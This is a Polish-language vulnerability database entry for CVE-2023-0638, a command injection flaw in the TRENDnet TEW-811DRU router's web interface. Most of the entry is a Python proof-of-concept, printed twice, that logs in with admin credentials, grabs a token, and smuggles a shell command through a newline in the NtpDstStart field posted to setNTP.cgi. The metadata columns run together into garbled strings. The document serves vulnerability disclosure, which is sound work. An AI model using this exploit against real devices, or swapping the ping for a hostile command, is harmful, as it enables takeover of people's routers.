TRENDnet TEW-811DRU 1.0.10.0 Web Interface privilege escalation

Odkryto lukę w TRENDnet TEW-811DRU 1.0.10.0. Podatnością dotknięta jest nieznana funkcja w komponencie Web Interface. Dzięki manipulowaniu przy użyciu nieznanych danych wejściowych można doprowadzić do wystąpienia podatności przekroczenie uprawnień. Podatność ta jest zwana CVE-2023-0638. Możliwe jest zdalne zainicjowanie ataku. Uważa się go za proof-of-concept. Exploit można ściągnąć pod adresem vuldb.com. Potencjalne zabezpieczenie zostało opublikowane przed po ujawnieniu podatności.

Pole2023-02-02 09:092023-02-02 09:102023-03-01 16:39
vendorTRENDnetTRENDnetTRENDnet
nameTEW-811DRUTEW-811DRUTEW-811DRU
version1.0.10.01.0.10.01.0.10.0
componentWeb InterfaceWeb InterfaceWeb Interface
cwe77 (przekroczenie uprawnień)77 (przekroczenie uprawnień)77 (przekroczenie uprawnień)
risk222
cvss3_vuldb_avNNN
cvss3_vuldb_acLLL
cvss3_vuldb_prHHH
cvss3_vuldb_uiNNN
cvss3_vuldb_sUUU
cvss3_vuldb_cHHH
cvss3_vuldb_iHHH
cvss3_vuldb_aHHH
cvss3_vuldb_ePPP
cvss3_vuldb_rcRRR
availability111
publicity111
cveCVE-2023-0638CVE-2023-0638CVE-2023-0638
responsibleVulDBVulDBVulDB
date1675292400 (2023-02-02)1675292400 (2023-02-02)1675292400 (2023-02-02)
cvss2_vuldb_avNNN
cvss2_vuldb_acLLL
cvss2_vuldb_auMMM
cvss2_vuldb_ciCCC
cvss2_vuldb_iiCCC
cvss2_vuldb_aiCCC
cvss2_vuldb_ePOCPOCPOC
cvss2_vuldb_rcURURUR
cvss2_vuldb_rlNDNDND
cvss3_vuldb_rlXXX
cvss2_vuldb_basescore8.38.38.3
cvss2_vuldb_tempscore7.17.17.1
cvss3_vuldb_basescore7.27.27.2
cvss3_vuldb_tempscore6.56.56.5
cvss3_meta_basescore7.27.27.2
cvss3_meta_tempscore6.56.56.5
price_0day$0-$5k$0-$5k$0-$5k
languagePythonPython
sourcecodeimport requests,socket import re import time from urllib.parse import urlencode username = 'admin' password = 'ZYWN7T47' device_web_ip = '192.168.10.1' ping_target_ip = '192.168.10.102' request = {'HEAD': {'Host': '{}'.format(device_web_ip), 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': '555', 'Origin': 'http://0.0.0.0:8081', #'Authorization': 'Basic YWRtaW46WllXTjdUNDc=', 'Connection': 'keep-alive', 'Referer': 'http://0.0.0.0:8081/adm/time.asp', 'Cookie': 'expandable=5c', 'Upgrade-Insecure-Requests': '1'}, 'PARAM': {'token': 'fW092VEZZPulJJfC1WkY', 'DSTenable': 'on', 'NtpDstEnable': 1, 'NtpDstOffset': -7200, 'NtpDstStart': 'abcd\nping -c 1 {}\n'.format(ping_target_ip), 'tz_daylight_start_day_select': 1, 'tz_daylight_start_time_select': 2, 'NtpDstEnd': 100102, 'tz_daylight_end_month_select': 384968387, 'tz_daylight_end_day_select': 1, 'tz_daylight_end_time_select': 2, 'enableNTP': 1, 'ntp_server': 1, 'NTPServerIP': 'pool.ntp.org', 'time_zone': 'UCT_-11', 'timer_interval': 16776915, 'manual_year_select': 2012, 'manual_month_select': 'abcd', 'manual_day_select': 'abcd', 'manual_min_select': -38, 'manual_sec_select': "abcd", 'timeTag': 'dummy', 'range.func': '/.../.../.../.../.../.../.../.../.../.../', 'DNSServerGuest': ''}, 'ATTR': {'URL': 'http://{}/setNTP.cgi'.format(device_web_ip), 'METHOD': 'POST', 'VERSION': 'HTTP/1.1'} } headers = request['HEAD'] params = request['PARAM'] method = request['ATTR']['METHOD'] url = request['ATTR']['URL'] login_header = {'Host': '0.0.0.0:8081', 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0', 'Accept': '*/*', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', 'Connection': 'keep-alive', 'Referer': 'http://0.0.0.0:8081/login.asp', 'Cookie': 'expandable=4c'} login = 'http://{}/login.cgi?langSelection=EN'.format(device_web_ip) probe = 'http://{}/wizard/wizard.asp'.format(device_web_ip) loop = 3 r = None while loop>0: try: loop -= 1 r = requests.get(url=login,headers=login_header,auth=(username,password),timeout=5) if r.status_code != 200: continue r = requests.get(url=probe,headers=headers,auth=(username,password),timeout=5) pat = r'name="token" value="(.*?)"' token_value = re.findall(pat,r.text) if len(token_value)>0: params['token'] = token_value[0] print('new_token:{}'.format(token_value[0])) break except Exception as e: time.sleep((3-loop)*3) print('error:{}'.format(e)) try: r = requests.request(method=method,url=url,headers=headers,auth=(username,password),data=urlencode(params),verify=False,timeout=5) except: passimport requests,socket import re import time from urllib.parse import urlencode username = 'admin' password = 'ZYWN7T47' device_web_ip = '192.168.10.1' ping_target_ip = '192.168.10.102' request = {'HEAD': {'Host': '{}'.format(device_web_ip), 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': '555', 'Origin': 'http://0.0.0.0:8081', #'Authorization': 'Basic YWRtaW46WllXTjdUNDc=', 'Connection': 'keep-alive', 'Referer': 'http://0.0.0.0:8081/adm/time.asp', 'Cookie': 'expandable=5c', 'Upgrade-Insecure-Requests': '1'}, 'PARAM': {'token': 'fW092VEZZPulJJfC1WkY', 'DSTenable': 'on', 'NtpDstEnable': 1, 'NtpDstOffset': -7200, 'NtpDstStart': 'abcd\nping -c 1 {}\n'.format(ping_target_ip), 'tz_daylight_start_day_select': 1, 'tz_daylight_start_time_select': 2, 'NtpDstEnd': 100102, 'tz_daylight_end_month_select': 384968387, 'tz_daylight_end_day_select': 1, 'tz_daylight_end_time_select': 2, 'enableNTP': 1, 'ntp_server': 1, 'NTPServerIP': 'pool.ntp.org', 'time_zone': 'UCT_-11', 'timer_interval': 16776915, 'manual_year_select': 2012, 'manual_month_select': 'abcd', 'manual_day_select': 'abcd', 'manual_min_select': -38, 'manual_sec_select': "abcd", 'timeTag': 'dummy', 'range.func': '/.../.../.../.../.../.../.../.../.../.../', 'DNSServerGuest': ''}, 'ATTR': {'URL': 'http://{}/setNTP.cgi'.format(device_web_ip), 'METHOD': 'POST', 'VERSION': 'HTTP/1.1'} } headers = request['HEAD'] params = request['PARAM'] method = request['ATTR']['METHOD'] url = request['ATTR']['URL'] login_header = {'Host': '0.0.0.0:8081', 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0', 'Accept': '*/*', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', 'Connection': 'keep-alive', 'Referer': 'http://0.0.0.0:8081/login.asp', 'Cookie': 'expandable=4c'} login = 'http://{}/login.cgi?langSelection=EN'.format(device_web_ip) probe = 'http://{}/wizard/wizard.asp'.format(device_web_ip) loop = 3 r = None while loop>0: try: loop -= 1 r = requests.get(url=login,headers=login_header,auth=(username,password),timeout=5) if r.status_code != 200: continue r = requests.get(url=probe,headers=headers,auth=(username,password),timeout=5) pat = r'name="token" value="(.*?)"' token_value = re.findall(pat,r.text) if len(token_value)>0: params['token'] = token_value[0] print('new_token:{}'.format(token_value[0])) break except Exception as e: time.sleep((3-loop)*3) print('error:{}'.format(e)) try: r = requests.request(method=method,url=url,headers=headers,auth=(username,password),data=urlencode(params),verify=False,timeout=5) except: pass
cve_assigned1675292400 (2023-02-02)
cve_nvd_summaryA vulnerability has been found in TRENDnet TEW-811DRU 1.0.10.0 and classified as critical. This vulnerability affects unknown code of the component Web Interface. The manipulation leads to command injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-220018 is the identifier assigned to this vulnerability.

◂ PoprzedniPrzeglądKolejny ▸

Want to stay up to date on a daily basis?

Enable the mail alert feature now!